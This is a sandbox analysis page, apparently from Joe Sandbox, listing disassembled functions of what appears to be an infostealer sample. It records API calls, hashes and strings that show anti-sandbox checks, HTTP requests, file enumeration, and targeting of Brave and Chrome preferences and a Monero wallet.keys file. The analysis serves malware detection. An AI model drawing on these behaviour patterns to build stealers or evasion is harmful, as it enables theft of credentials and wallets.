Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 44fcd64e320271e6754c404e25c732c754f74fc880f62710e95c618ab704198b
Instruction ID: d58ed0f00eab35e3ae20e9a945e2f664772433c8e2c6f68539a34b1470bf45b4
Opcode Fuzzy Hash: 44fcd64e320271e6754c404e25c732c754f74fc880f62710e95c618ab704198b
Instruction Fuzzy Hash: 7001FFB0944308EAEF10EBE4DC59BEDBB78FB14705F608058E605FA280D774A5458799

Function 008C6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,007B8A28,?,008D110C,?,00000000,?,008D1110,?,00000000,008D0AEF), ref: 008C6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 008C6AE8
CloseHandle.KERNEL32(00000000), ref: 008C6AF9
Sleep.KERNEL32(00001770), ref: 008C6B04
CloseHandle.KERNEL32(?,00000000,?,007B8A28,?,008D110C,?,00000000,?,008D1110,?,00000000,008D0AEF), ref: 008C6B1A
ExitProcess.KERNEL32 ref: 008C6B22

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: b5d9942bb194ebc6fda76319c478e3f320b8db9b6a71a0206385dade77032d5c
Instruction ID: 20bc5a5a7c9f2724ca74ad7bc0b69ebfaff665456889316a377680740c29e44b
Opcode Fuzzy Hash: b5d9942bb194ebc6fda76319c478e3f320b8db9b6a71a0206385dade77032d5c
Instruction Fuzzy Hash: AEF03AB0940219ABE700EBE0AC06FBE7B74FB14705F104528B506E11C1EBB0A941DA97

Function 008B47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 008B4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 008B4849

Strings

<, xrefs: 008B47C9

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: fa592a6c45f4e59edfe1a939bba15480a27be0615505f4ba02594daca698793e
Instruction ID: 947e80041e85bff3aaddae5e84eb9ef008b995c4b24b7a210466f379d9bb0533
Opcode Fuzzy Hash: fa592a6c45f4e59edfe1a939bba15480a27be0615505f4ba02594daca698793e
Instruction Fuzzy Hash: AB2150B1D01209ABDF14DF95E845BDE7774FB45310F108625F515AB2C0EB706609CB91

Function 008C51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 008CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008CA7E6

Part of subcall function 008B6280: InternetOpenA.WININET(008D0DFE,00000001,00000000,00000000,00000000), ref: 008B62E1
Part of subcall function 008B6280: StrCmpCA.SHLWAPI(?,007BE270), ref: 008B6303
Part of subcall function 008B6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 008B6335
Part of subcall function 008B6280: HttpOpenRequestA.WININET(00000000,GET,?,007BD9C8,00000000,00000000,00400100,00000000), ref: 008B6385
Part of subcall function 008B6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 008B63BF
Part of subcall function 008B6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 008B63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 008C5228

Strings

ERROR, xrefs: 008C521A
ERROR, xrefs: 008C5273

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 83ed5332cd8b7d6a2ef2580786273cf6d015ecdf7b116ea2323fff81cfd05ed0
Instruction ID: ef5d49e5a2a07779406ab927212faf99e1595ec8821318920c9b008ef976491b
Opcode Fuzzy Hash: 83ed5332cd8b7d6a2ef2580786273cf6d015ecdf7b116ea2323fff81cfd05ed0
Instruction Fuzzy Hash: 4411CB7091054CA7DB18FB68D996FED7378FF50344F808168A81A9A592EF34AB05C692

Function 008B1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 008B112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 008B1132
ExitProcess.KERNEL32 ref: 008B1143

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 8a99fa60f6aa55b7ff305d2ee62fadf23372258a2905f6e5407d3d537208ee74
Instruction ID: b5510184267298bf988ef18117d657e186ecd9c544e3e3e59bdabbfd8d3c5992
Opcode Fuzzy Hash: 8a99fa60f6aa55b7ff305d2ee62fadf23372258a2905f6e5407d3d537208ee74
Instruction Fuzzy Hash: C1E086B0945308FBEB10ABE4DC0EB9876B8EB04B41F500044F70CBA2C0C6F42602DADA

Function 008B10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 008B10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 008B10F7

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: d00395ec1e9c84853918a65ce34641fa5d478bae88db014b8b365ee45a20f9f5
Instruction ID: 50bec8ae606f18d8b47d9f8e59d03268b54bb398214985bb96a7154e675b4f77
Opcode Fuzzy Hash: d00395ec1e9c84853918a65ce34641fa5d478bae88db014b8b365ee45a20f9f5
Instruction Fuzzy Hash: A2F0E9B1641204BBEB14E6E49C59FFAB7E8E705715F300448F508E7380D571AE04CA91

Function 008B1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 008C78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 008C7910
Part of subcall function 008C78E0: RtlAllocateHeap.NTDLL(00000000), ref: 008C7917
Part of subcall function 008C78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 008C792F

Part of subcall function 008C7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,008B11B7), ref: 008C7880
Part of subcall function 008C7850: RtlAllocateHeap.NTDLL(00000000), ref: 008C7887
Part of subcall function 008C7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 008C789F

ExitProcess.KERNEL32 ref: 008B11C6

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 40939a954a9ef492dbd4447e4eee1f796b4dbd751868e4cbe5973b29edcb31c5
Instruction ID: 1faa67b937546689a74e32cd1a768832267aa55ace0bae00ad4ffd3e279b0f33
Opcode Fuzzy Hash: 40939a954a9ef492dbd4447e4eee1f796b4dbd751868e4cbe5973b29edcb31c5
Instruction Fuzzy Hash: D4E0ECA595420152DA10B3F9AC1AF6A32ACFB24745F040428FA09D6202FA35E805C96B

Non-executed Functions

Function 008C38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 008C38CC
FindFirstFileA.KERNEL32(?,?), ref: 008C38E3
lstrcat.KERNEL32(?,?), ref: 008C3935
StrCmpCA.SHLWAPI(?,008D0F70), ref: 008C3947
StrCmpCA.SHLWAPI(?,008D0F74), ref: 008C395D
FindNextFileA.KERNEL32(000000FF,?), ref: 008C3C67
FindClose.KERNEL32(000000FF), ref: 008C3C7C

Strings

%s\%s, xrefs: 008C397A
%s\%s, xrefs: 008C3A6F
%s\%s\%s, xrefs: 008C3A4A
%s%s, xrefs: 008C3AAD
%s\*, xrefs: 008C38C0

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: f534b85400b192e581000a687d6c2caddaa3cc8de26d239b34a945a45a95217b
Instruction ID: b1291e3588ba92e15bc88f4ecd081e80256ff04423de9318b4e984331c07cb25
Opcode Fuzzy Hash: f534b85400b192e581000a687d6c2caddaa3cc8de26d239b34a945a45a95217b
Instruction Fuzzy Hash: EAA13FB1A002189BDB24EBA4DC85FFE7378FB58300F04859DA51DD6141EB759B85CFA2

Function 008C4910 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 008C492C
FindFirstFileA.KERNEL32(?,?), ref: 008C4943
StrCmpCA.SHLWAPI(?,008D0FDC), ref: 008C4971
StrCmpCA.SHLWAPI(?,008D0FE0), ref: 008C4987
FindNextFileA.KERNEL32(000000FF,?), ref: 008C4B7D
FindClose.KERNEL32(000000FF), ref: 008C4B92

Strings

%s\*, xrefs: 008C4920
%s\%s, xrefs: 008C49A4
%s\%s, xrefs: 008C49FB
0{, xrefs: 008C4A3D

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$0{
API String ID: 180737720-108428910
Opcode ID: 59cd38d2348b55597cb4b7840dddd26a6a60c9a255bcb20a6799d3bc94cf18f0
Instruction ID: 0acd325df9cf9db86344cbcd45be7052c9767af2d318b23d8076353537d24007
Opcode Fuzzy Hash: 59cd38d2348b55597cb4b7840dddd26a6a60c9a255bcb20a6799d3bc94cf18f0
Instruction Fuzzy Hash: E86123B1500218ABCB24EBE4DC59FFA7778FB58700F04859CA50DD6141EA75EB89CFA2

Function 008BBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008CA920: lstrcpy.KERNEL32(00000000,?), ref: 008CA972
Part of subcall function 008CA920: lstrcat.KERNEL32(00000000), ref: 008CA982

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

FindFirstFileA.KERNEL32(00000000,?,008D0B32,008D0B2B,00000000,?,?,?,008D13F4,008D0B2A), ref: 008BBEF5
StrCmpCA.SHLWAPI(?,008D13F8), ref: 008BBF4D
StrCmpCA.SHLWAPI(?,008D13FC), ref: 008BBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 008BC7BF
FindClose.KERNEL32(000000FF), ref: 008BC7D1

Strings

Preferences, xrefs: 008BC11E
Google Chrome, xrefs: 008BC634
\Brave\Preferences, xrefs: 008BC1DB
Brave, xrefs: 008BC102

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 3cda1b38200577289d89ae82eacc883ec952ec6031080b28740fcba6b98d7785
Instruction ID: cf1e88ad99e2c3a763c24cf5a5a8cc35d0cbbeff33e7ac43df07d90889a1c255
Opcode Fuzzy Hash: 3cda1b38200577289d89ae82eacc883ec952ec6031080b28740fcba6b98d7785
Instruction Fuzzy Hash: 7B421172910108ABCB18FBA4DD96EED7379FB54304F40856CB50AD6191EE34EB49CBA3

Function 008C4570 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 008C4580
RtlAllocateHeap.NTDLL(00000000), ref: 008C4587
wsprintfA.USER32 ref: 008C45A6
FindFirstFileA.KERNEL32(?,?), ref: 008C45BD
StrCmpCA.SHLWAPI(?,008D0FC4), ref: 008C45EB
StrCmpCA.SHLWAPI(?,008D0FC8), ref: 008C4601
FindNextFileA.KERNEL32(000000FF,?), ref: 008C468B
FindClose.KERNEL32(000000FF), ref: 008C46A0
lstrcat.KERNEL32(?,007BE130), ref: 008C46C5
lstrcat.KERNEL32(?,007BD2A0), ref: 008C46D8
lstrlen.KERNEL32(?), ref: 008C46E5
lstrlen.KERNEL32(?), ref: 008C46F6

Strings

%s\%s, xrefs: 008C461B
%s\*, xrefs: 008C459A
0{, xrefs: 008C46B7

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*$0{
API String ID: 671575355-2992801943
Opcode ID: a023ae1475e9592de8dba3c5969a57660c59baa50cdfabe4570b833df23ef76e
